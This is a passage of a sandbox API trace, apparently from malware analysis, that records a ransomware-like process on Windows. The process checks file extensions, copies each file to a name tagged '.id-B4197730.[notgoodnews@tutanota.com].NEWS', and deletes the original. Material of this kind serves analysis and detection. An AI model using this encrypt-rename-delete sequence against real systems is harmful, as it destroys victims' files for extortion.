(lpString1=".docx", lpString2="a.rtf") returned -1 [0064.292] lstrlenW (lpString=".pdf") returned 4 [0064.292] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString=".xls") returned 4 [0064.292] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.292] lstrlenW (lpString=".xlsx") returned 5 [0064.292] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.292] lstrlenW (lpString=".ppt") returned 4 [0064.292] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.292] lstrlenW (lpString=".zip") returned 4 [0064.292] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.292] lstrlenW (lpString=".rar") returned 4 [0064.292] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString=".bz2") returned 4 [0064.292] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString=".7z") returned 3 [0064.292] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.292] lstrlenW (lpString=".dbf") returned 4 [0064.292] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.292] lstrlenW (lpString=".1cd") returned 4 [0064.292] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString=".jpg") returned 4 [0064.293] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString=".doc") returned 4 [0064.293] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString=".docx") returned 5 [0064.293] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.293] lstrlenW (lpString=".pdf") returned 4 [0064.293] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString=".xls") returned 4 [0064.293] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.293] lstrlenW (lpString=".xlsx") returned 5 [0064.293] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.293] lstrlenW (lpString=".ppt") returned 4 [0064.293] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString=".zip") returned 4 [0064.293] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.293] lstrlenW (lpString=".rar") returned 4 [0064.293] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString=".bz2") returned 4 [0064.293] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString=".7z") returned 3 [0064.293] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString=".dbf") returned 4 [0064.293] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString=".1cd") returned 4 [0064.293] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.293] lstrlenW (lpString=".jpg") returned 4 [0064.293] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.294] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.294] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.295] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=79296) returned 1 [0064.295] CloseHandle (hObject=0x338) returned 1 [0064.295] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0064.295] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.295] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.295] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.296] GetLastError () returned 0x0 [0064.296] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x135c0, lpOverlapped=0x0) returned 1 [0064.299] WriteFile (in: hFile=0x358, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x135d0, lpOverlapped=0x0) returned 1 [0064.302] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.302] WriteFile (in: hFile=0x358, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.302] SetEndOfFile (hFile=0x358) returned 1 [0064.302] CloseHandle (hObject=0x358) returned 1 [0064.305] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.305] SetEndOfFile (hFile=0x338) returned 1 [0064.306] CloseHandle (hObject=0x338) returned 1 [0064.306] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.306] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0064.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.307] lstrlenW (lpString=".doc") returned 4 [0064.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString=".docx") returned 5 [0064.307] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.307] lstrlenW (lpString=".pdf") returned 4 [0064.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString=".xls") returned 4 [0064.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString=".xlsx") returned 5 [0064.307] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.307] lstrlenW (lpString=".ppt") returned 4 [0064.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.307] lstrlenW (lpString=".zip") returned 4 [0064.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.307] lstrlenW (lpString=".rar") returned 4 [0064.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString=".bz2") returned 4 [0064.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString=".7z") returned 3 [0064.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.307] lstrlenW (lpString=".dbf") returned 4 [0064.307] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.307] lstrlenW (lpString=".1cd") returned 4 [0064.307] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString=".jpg") returned 4 [0064.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString=".doc") returned 4 [0064.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString=".docx") returned 5 [0064.308] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.308] lstrlenW (lpString=".pdf") returned 4 [0064.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString=".xls") returned 4 [0064.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString=".xlsx") returned 5 [0064.308] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.308] lstrlenW (lpString=".ppt") returned 4 [0064.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString=".zip") returned 4 [0064.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.308] lstrlenW (lpString=".rar") returned 4 [0064.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString=".bz2") returned 4 [0064.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString=".7z") returned 3 [0064.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString=".dbf") returned 4 [0064.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString=".1cd") returned 4 [0064.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0064.308] lstrlenW (lpString=".jpg") returned 4 [0064.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.309] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.309] lstrlenW (lpString="eula.rtf") returned 8 [0064.309] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.309] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4040) returned 1 [0064.309] CloseHandle (hObject=0x338) returned 1 [0064.309] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0064.309] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.309] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.309] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.309] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.309] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.313] GetLastError () returned 0x0 [0064.313] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xfc8, lpOverlapped=0x0) returned 1 [0064.314] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0064.315] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.315] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.315] SetEndOfFile (hFile=0x354) returned 1 [0064.315] CloseHandle (hObject=0x354) returned 1 [0064.316] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.316] SetEndOfFile (hFile=0x338) returned 1 [0064.317] CloseHandle (hObject=0x338) returned 1 [0064.317] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.317] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0064.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.318] lstrlenW (lpString=".doc") returned 4 [0064.318] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString=".docx") returned 5 [0064.318] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.318] lstrlenW (lpString=".pdf") returned 4 [0064.318] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString=".xls") returned 4 [0064.318] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.318] lstrlenW (lpString=".xlsx") returned 5 [0064.318] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.318] lstrlenW (lpString=".ppt") returned 4 [0064.318] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.318] lstrlenW (lpString=".zip") returned 4 [0064.318] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.318] lstrlenW (lpString=".rar") returned 4 [0064.318] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString=".bz2") returned 4 [0064.318] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString=".7z") returned 3 [0064.318] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.318] lstrlenW (lpString=".dbf") returned 4 [0064.318] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.318] lstrlenW (lpString=".1cd") returned 4 [0064.318] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.318] lstrlenW (lpString=".jpg") returned 4 [0064.318] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.319] lstrlenW (lpString=".doc") returned 4 [0064.319] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString=".docx") returned 5 [0064.319] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.319] lstrlenW (lpString=".pdf") returned 4 [0064.319] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString=".xls") returned 4 [0064.319] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.319] lstrlenW (lpString=".xlsx") returned 5 [0064.319] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.319] lstrlenW (lpString=".ppt") returned 4 [0064.319] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.319] lstrlenW (lpString=".zip") returned 4 [0064.319] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.319] lstrlenW (lpString=".rar") returned 4 [0064.319] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString=".bz2") returned 4 [0064.319] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString=".7z") returned 3 [0064.319] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.319] lstrlenW (lpString=".dbf") returned 4 [0064.319] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.319] lstrlenW (lpString=".1cd") returned 4 [0064.319] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0064.319] lstrlenW (lpString=".jpg") returned 4 [0064.319] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.320] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.320] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.320] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=82374) returned 1 [0064.320] CloseHandle (hObject=0x338) returned 1 [0064.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0064.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.320] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.320] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.320] GetLastError () returned 0x0 [0064.320] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0064.715] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0064.717] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.717] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.717] SetEndOfFile (hFile=0x354) returned 1 [0064.717] CloseHandle (hObject=0x354) returned 1 [0064.720] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.720] SetEndOfFile (hFile=0x338) returned 1 [0064.721] CloseHandle (hObject=0x338) returned 1 [0064.721] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.722] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0064.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.722] lstrlenW (lpString=".doc") returned 4 [0064.722] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.722] lstrlenW (lpString=".docx") returned 5 [0064.722] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.722] lstrlenW (lpString=".pdf") returned 4 [0064.722] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.722] lstrlenW (lpString=".xls") returned 4 [0064.722] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.722] lstrlenW (lpString=".xlsx") returned 5 [0064.722] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.722] lstrlenW (lpString=".ppt") returned 4 [0064.722] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.722] lstrlenW (lpString=".zip") returned 4 [0064.722] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.722] lstrlenW (lpString=".rar") returned 4 [0064.722] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.722] lstrlenW (lpString=".bz2") returned 4 [0064.722] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.722] lstrlenW (lpString=".7z") returned 3 [0064.722] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString=".dbf") returned 4 [0064.723] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString=".1cd") returned 4 [0064.723] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString=".jpg") returned 4 [0064.723] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString=".doc") returned 4 [0064.723] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString=".docx") returned 5 [0064.723] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.723] lstrlenW (lpString=".pdf") returned 4 [0064.723] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString=".xls") returned 4 [0064.723] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString=".xlsx") returned 5 [0064.723] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.723] lstrlenW (lpString=".ppt") returned 4 [0064.723] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString=".zip") 